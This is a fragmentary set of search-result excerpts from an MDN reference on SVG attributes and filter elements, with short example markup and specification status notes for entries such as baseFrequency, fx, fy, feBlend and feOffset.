... attributes animation event attributes onbegin, onend, onrepeat document event attributes onabort, onerror, onresize, onscroll, onunload document element event attributes oncopy, oncut, onpaste global event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onse...
...eked, onseeking, onselect, onshow, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting graphical event attributes onactivate, onfocusin, onfocusout ...
SVG Styling Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeStyling
the svg styling attributes are all the attributes that can be specified on any svg element to apply css styling effects.
...it functions identically to the class attribute in html.
...it functions identically to the style attribute in html.
baseFrequency - SVG: Scalable Vector Graphics
0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value 0 animatable yes <number-optional-number> if two numbers are provided, the first one represents the base frequency in the horizontal direction and the second one the base frequency in the vertical direction.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'basefrequency' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'basefrequency' in that specification.
bias - SVG: Scalable Vector Graphics
WebSVGAttributebias
usage notes value <number> default value 0 animatable yes one application of bias is when it is desirable to have 0.5 gray value be the zero response of the filter.
... specifications specification status comment filter effects module level 1the definition of 'bias' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'bias' in that specification.
by - SVG: Scalable Vector Graphics
WebSVGAttributeby
the starting value for the attribute is either indicated by specifying it as value for the attribute given in the attributename or the from attribute.
... specifications specification status comment svg animations level 2the definition of 'by' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'by' in that specification.
cursor - SVG: Scalable Vector Graphics
WebSVGAttributecursor
as a presentation attribute, it also can be used as a property directly inside a css stylesheet, see css cursor for further information.
... usage context categories presentation attribute value [[<funciri>,]* [ auto | crosshair | default | pointer | move | e-resize | ne-resize | nw-resize | n-resize | se-resize | sw-resize | s-resize | w-resize| text | wait | help ]] | inherit animatable yes normative document svg 1.1 (2nd edition) <funciri> functional notation for a reference.
... elements the following elements can use the cursor attribute container elements » graphics elements » browser compatibility the compatibility table on this page is generated from structured data.
diffuseConstant - SVG: Scalable Vector Graphics
in svg, this can be any non-negative number.
...epointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'diffuseconstant' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'diffuseconstant' in that specification.
exponent - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="1"/> <fefuncg type="gamma" exponent="1"/> <fefuncb type="gamma" exponent="1"/> </fecomponenttransfe...
...<rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes <number> if the type attribute of the component element is set to gamma, this value specifies the exponent of the gamma function specifications specification status comment filter effects module level 1the definition of 'exponent' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'exponent' in that specification.
filterUnits - SVG: Scalable Vector Graphics
objectboundingbox in that case, x, y, width and height represent fractions or percentages of the bounding box on the referencing element.
... specifications specification status comment filter effects module level 1the definition of 'filterunits' in that specification.
... working draft initial definition scalable vector graphics (svg) 1.1 (second edition)the definition of 'filterunits' in that specification.
fr - SVG: Scalable Vector Graphics
WebSVGAttributefr
the fr attribute defines the radius of the focal point for the radial gradient.
...60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fr' in that specification.
... candidate recommendation initial definition ...
from - SVG: Scalable Vector Graphics
WebSVGAttributefrom
the from attribute indicates the initial value of the attribute that will be modified during the animation.
... specifications specification status comment svg animations level 2the definition of 'from' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'from' in that specification.
fx - SVG: Scalable Vector Graphics
WebSVGAttributefx
the fx attribute defines the x-axis coordinate of the focal point for a radial gradient.
...x="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fx' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'fx' in that specification.
fy - SVG: Scalable Vector Graphics
WebSVGAttributefy
the fy attribute defines the y-axis coordinate of the focal point for a radial gradient.
...x="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fy' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'fy' in that specification.
glyph-name - SVG: Scalable Vector Graphics
the glyph names can be used in situations where unicode character numbers do not provide sufficient information to access the correct glyph, such as when there are multiple glyphs per unicode character.
... the glyph names can be referenced in kerning definitions created by <hkern> and <vkern> elements.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyph-name' in that specification.
hanging - SVG: Scalable Vector Graphics
WebSVGAttributehanging
the hanging attribute indicates the alignment coordinate for glyphs to achieve hanging baseline alignment for horizontally oriented glyph layouts.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'hanging' in that specification.
horiz-origin-x - SVG: Scalable Vector Graphics
the horiz-origin-x attribute indicates the x-coordinate in the font coordinate system of the origin of a glyph to be used when drawing horizontally oriented text.
... only one element is using this attribute: <font> usage notes value <number> default value 0 animatable no <number> this value indicates the x-coordinate of the origin of a glyph for horizontally oriented text.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-origin-x' in that specification.
horiz-origin-y - SVG: Scalable Vector Graphics
the horiz-origin-y attribute indicates the y-coordinate in the font coordinate system of the origin of a glyph to be used when drawing horizontally oriented text.
... only one element is using this attribute: <font> usage notes value <number> default value 0 animatable no <number> this value indicates the x-coordinate of the origin of a glyph for horizontally oriented text.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-origin-y' in that specification.
ideographic - SVG: Scalable Vector Graphics
the ideographic attribute indicates the alignment coordinate for glyphs to achieve ideographic baseline alignment for horizontally oriented glyph layouts.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'ideographic' in that specification.
intercept - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0"/> <fefuncg type="linear" interc...
... </filter> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'intercept' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'intercept' in that specification.
markerHeight - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'markerheight' in that specification.
... candidate recommendation allowed percentage and number values.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'markerheight' in that specification.
markerWidth - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'markerwidth' in that specification.
... candidate recommendation allowed percentage and number values.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'markerwidth' in that specification.
max - SVG: Scalable Vector Graphics
WebSVGAttributemax
; 0.75 ; 1"/> <animate attributename="cy" dur="4s" max="6s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value none animatable no <clock-value> specifies the length of the maximum value of the active duration, measured in local time.
... specifications specification status comment svg animations level 2the definition of 'max' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'max' in that specification.
media - SVG: Scalable Vector Graphics
WebSVGAttributemedia
specifications specification status comment scalable vector graphics (svg) 2the definition of 'media' in that specification.
... candidate recommendation changed the value definition from different media types as defined in css 2 to <media-query-list>.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'media' in that specification.
min - SVG: Scalable Vector Graphics
WebSVGAttributemin
.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" min="2s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value 0 animatable no <clock-value> specifies the length of the minimum value of the active duration, measured in local time.
... specifications specification status comment svg animations level 2the definition of 'min' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'min' in that specification.
numOctaves - SVG: Scalable Vector Graphics
though more octaves also require more calculations, resulting in a negative impact on performance.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'numoctaves' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'numoctaves' in that specification.
origin - SVG: Scalable Vector Graphics
WebSVGAttributeorigin
only one element is using this attribute: <animatemotion> context notes value default default value default animatable no specifications specification status comment svg animations level 2the definition of 'origin' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'origin' in that specification.
... recommendation initial definition (referring to smil animation specification) ...
patternTransform - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- apply a transform on the tile --> <pattern id="p1" width=".25" height=".25" patterntransform="rotate(20) skewx(30) scale(1 0.5)"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- apply the transformed pattern tile --> <rect x="10" y="10" width="80" height="80" fill="url(#p1)" /> </svg> pattern for <pattern>, patterntransform defines a list of transform definitions that are applied to a pattern tile.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'patterntransform' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'patterntransform' in that specification.
pointsAtX - SVG: Scalable Vector Graphics
the pointsatx attribute represents the x location in the coordinate system established by attribute primitiveunits on the <filter> element of the point at which the light source is pointing.
...spotlight x="60" y="60" z="50" pointsatx="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatx' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointsatx' in that specification.
pointsAtY - SVG: Scalable Vector Graphics
the pointsaty attribute represents the y location in the coordinate system established by attribute primitiveunits on the <filter> element of the point at which the light source is pointing.
...spotlight x="60" y="60" z="50" pointsaty="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsaty' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointsaty' in that specification.
pointsAtZ - SVG: Scalable Vector Graphics
the pointsatz attribute represents the y location in the coordinate system established by attribute primitiveunits on the <filter> element of the point at which the light source is pointing, assuming that, in the initial local coordinate system, the positive z-axis comes out towards the person viewing the content and assuming that one unit along the z-axis equals one unit in x and y.
...potlight x="100" y="100" z="50" pointsatz="80" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatz' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointsatz' in that specification.
repeatDur - SVG: Scalable Vector Graphics
indefinite this value indicates that the animation will be repeated indefinitely (i.e.
... specifications specification status comment svg animations level 2the definition of 'repeatdur' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'repeatdur' in that specification.
side - SVG: Scalable Vector Graphics
WebSVGAttributeside
only one element is using this attribute: <textpath> html, body, svg { height: 100%; } text { font: 25px arial, helvelica, sans-serif; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <text> <textpath href="#circle1" side="left">text left from the path</textpath> </text> <text> <textpath href="#circle2" side="right">text right from the path</textpath> </text> <circle id="circle1" cx="100" cy="100" r="70" fill="transparent" stroke="silver"/> <circle id="circle2" cx="320" cy="100" r="70" fill="transparent" stroke="silver"/> </svg> usage notes value left | right default value left animatable yes ...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'side' in that specification.
... candidate recommendation initial definition ...
slope - SVG: Scalable Vector Graphics
WebSVGAttributeslope
the slope attribute indicates the vertical stroke angle of a font.
... only one element is using this attribute: <font-face> usage notes value <number> default value 0 animatable no <number> this value indicates the vertical stroke angle of the font.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'slope' in that specification.
stroke-width - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on shapes and text context elements, including: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke width: 1 --> <circle cx="5" cy="5" r="3" stroke="green" /> <!-- stroke width as a number --> <circle cx="15" cy="5" r="3" stroke="green" stroke-width="3" /> <!-- stroke width as a percentage --> <circle cx="25" cy="5" r="3" stroke="green" stroke-width="2%" /> </svg> usage note...
... legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-width' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-width' in that specification.
targetX - SVG: Scalable Vector Graphics
WebSVGAttributetargetX
only one element is using this attribute: <feconvolvematrix> usage notes value <integer> default value floor(orderx / 2) animatable yes <integer> this value indicates the positioning in horizontal direction of the convolution matrix relative to a given target pixel in the input image.
... specifications specification status comment filter effects module level 1the definition of 'targetx' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'targetx' in that specification.
v-hanging - SVG: Scalable Vector Graphics
the v-hanging attribute indicates the alignment coordinate for glyphs to achieve hanging baseline alignment.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs to achieve hanging baseline alignment.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-hanging' in that specification.
v-ideographic - SVG: Scalable Vector Graphics
the v-ideographic attribute indicates the alignment coordinate for glyphs to achieve ideographic baseline alignment for vertically oriented glyph layouts.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-ideographic' in that specification.
vert-origin-x - SVG: Scalable Vector Graphics
the vert-origin-x attribute indicates the x-coordinate in the font coordinate system of the origin of a glyph to be used when drawing vertically oriented text.
... only one element is using this attribute: <font> usage notes value <number> default value half of horiz-adv-x value animatable no <number> this value indicates the x-coordinate of the origin of a glyph for vertically oriented text.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-origin-x' in that specification.
vert-origin-y - SVG: Scalable Vector Graphics
the vert-origin-y attribute indicates the y-coordinate in the font coordinate system of the origin of a glyph to be used when drawing vertically oriented text.
... only one element is using this attribute: <font> usage notes value <number> default value ascent value animatable no <number> this value indicates the y-coordinate of the origin of a glyph for vertically oriented text.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-origin-y' in that specification.
widths - SVG: Scalable Vector Graphics
WebSVGAttributewidths
the widths attribute indicates a list of range values, each followed by one or more glyph widths.
...if not enough glyph widths are given, the last in the list is replicated to cover that range.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'widths' in that specification.
x-height - SVG: Scalable Vector Graphics
the x-height attribute indicates the height of lowercase glyphs in the font within the font coordinate system.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the height of lowercase glyphs.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'x-height' in that specification.
xlink:arcrole - SVG: Scalable Vector Graphics
this contextual role can differ from the meaning of the resource when taken outside the context of this particular arc.
... for example, a resource might generically represent a "person," but in the context of a particular arc it might have the role of "mother" and in the context of a different arc it might have the role of "daughter." twentytwo elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, <use> usage notes value <iri> default value none animatable no <iri> this value specifies an iri reference that identifies some resource that describes the intended property.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:arcrole' in that specification.
xlink:title - SVG: Scalable Vector Graphics
it may be used, for example, to make titles available to applications used by visually impaired users, or to create a table of links, or to present help text that appears when a user lets a mouse pointer hover over a starting resource.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'seed' in that specification.
... candidate recommendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <script>, <textpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
xml:space - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'xml:space' in that specification.
... candidate recommendation deprecates the attribute and suggests to use white-space instead.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:space' in that specification.
zoomAndPan - SVG: Scalable Vector Graphics
the zoomandpan attribute specifies whether the svg document can be magnified and panned.
... magnification in this context means the effect of a supplemental scale and translate transformation on the outermost svg document fragment.
...="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting);" /> </svg> usage notes value disable | magnify default value magnify animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'zoomandpan' in that specification.
<altGlyphItem> - SVG: Scalable Vector Graphics
the <altglyphitem> element provides a set of candidates for glyph substitution by the <altglyph> element.
... usage context categoriestext content elementpermitted contentone or more <glyphref> elements example attributes global attributes core attributes specific attributes none dom interface this element implements the svgaltglyphitemelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<altglyphitem>' in that specification.
<animateColor> - SVG: Scalable Vector Graphics
this element has been deprecated in svg 1.1 second edition and may be removed in a future version of svg.
... usage context categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes conditional processing attributes core attributes animation event attributes xlink attributes animation attribute target attributes animation timing attributes animation value attributes animation addition attributes externalresourcesrequired specific attributes by from to dom interface this element implements the svganimatecolorelement interface.
... example svg <svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="50"> <animatecolor attributename="fill" attributetype="xml" from="black" to="red" dur="6s" repeatcount="indefinite"/> </circle> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatecolor>' in that specification.
<feBlend> - SVG: Scalable Vector Graphics
WebSVGElementfeBlend
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in in2 mode dom interface this element implements the svgfeblendelement interface.
...flood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="green" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> </defs> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feblend>' in that specification.
... working draft outsourced blend modes to compositing and blending level 1 scalable vector graphics (svg) 1.1 (second edition)the definition of '<feblend>' in that specification.
<feDropShadow> - SVG: Scalable Vector Graphics
it can only be used inside a <filter> element.
... the drop shadow color and opacity can be changed by using the flood-color and flood-opacity presentation attributes.
... value type: <number>; default value: 2; animatable: yes global attributes core attributes most notably: id styling attributes class, style filter primitive attributes height, in, result, x, y, width presentation attributes most notably: flood-color, flood-opacity usage notes categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <script>, <set> specifications specification status comment filter effects module level 1the definition of '<fedropshadow>' in that specification.
<feFlood> - SVG: Scalable Vector Graphics
WebSVGElementfeFlood
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes flood-color flood-opacity dom interface this element implements the svgfefloodelement interface.
... example html content <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <defs> <filter id="floodfilter" filterunits="userspaceonuse"> <feflood x="50" y="50" width="100" height="100" flood-color="green" flood-opacity="0.5"/> </filter> </defs> <use style="filter: url(#floodfilter);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feflood>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<feflood>' in that specification.
<feFuncB> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncB
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface this element implements the svgfefuncbelement interface.
... specifications specification status comment filter effects module level 1the definition of '<fefuncb>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefuncb>' in that specification.
<feFuncG> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncG
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface this element implements the svgfefuncgelement interface.
... specifications specification status comment filter effects module level 1the definition of '<fefuncg>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefuncg>' in that specification.
<feFuncR> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncR
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface this element implements the svgfefuncrelement interface.
... specifications specification status comment filter effects module level 1the definition of '<fefuncr>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefuncr>' in that specification.
<feGaussianBlur> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in stddeviation edgemode dom interface this element implements the svgfegaussianblurelement interface.
...mlns:xlink="http://www.w3.org/1999/xlink"> <filter id="dropshadow"> <fegaussianblur in="sourcealpha" stddeviation="3" /> <feoffset dx="2" dy="4" /> <femerge> <femergenode /> <femergenode in="sourcegraphic" /> </femerge> </filter> <circle cx="60" cy="60" r="50" fill="green" filter="url(#dropshadow)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fegaussianblur>' in that specification.
... working draft added edgemode attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<fegaussianblur>' in that specification.
<feMerge> - SVG: Scalable Vector Graphics
WebSVGElementfeMerge
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<femergenode> example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #0...
... specifications specification status comment filter effects module level 1the definition of '<femerge>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<femerge>' in that specification.
<feMergeNode> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> example <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur in="sourcegraphic" stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter: url(#feoffset);" /> ...
... specifications specification status comment filter effects module level 1the definition of '<femergenode>' in that specification.
... working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<femergenode>' in that specification.
<feOffset> - SVG: Scalable Vector Graphics
WebSVGElementfeOffset
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dx dy dom interface this element implements the svgfeoffsetelement interface.
...svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="offset" width="180" height="180"> <feoffset in="sourcegraphic" dx="60" dy="60" /> </filter> </defs> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green"/> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green" filter="url(#offset)"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feoffset>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<feoffset>' in that specification.
<feTile> - SVG: Scalable Vector Graphics
WebSVGElementfeTile
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dom interface this element implements the svgfetileelement interface.
...xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="tile" x="0" y="0" width="100%" height="100%"> <fetile in="sourcegraphic" x="50" y="50" width="100" height="100" /> <fetile/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#tile);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fetile>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fetile>' in that specification.
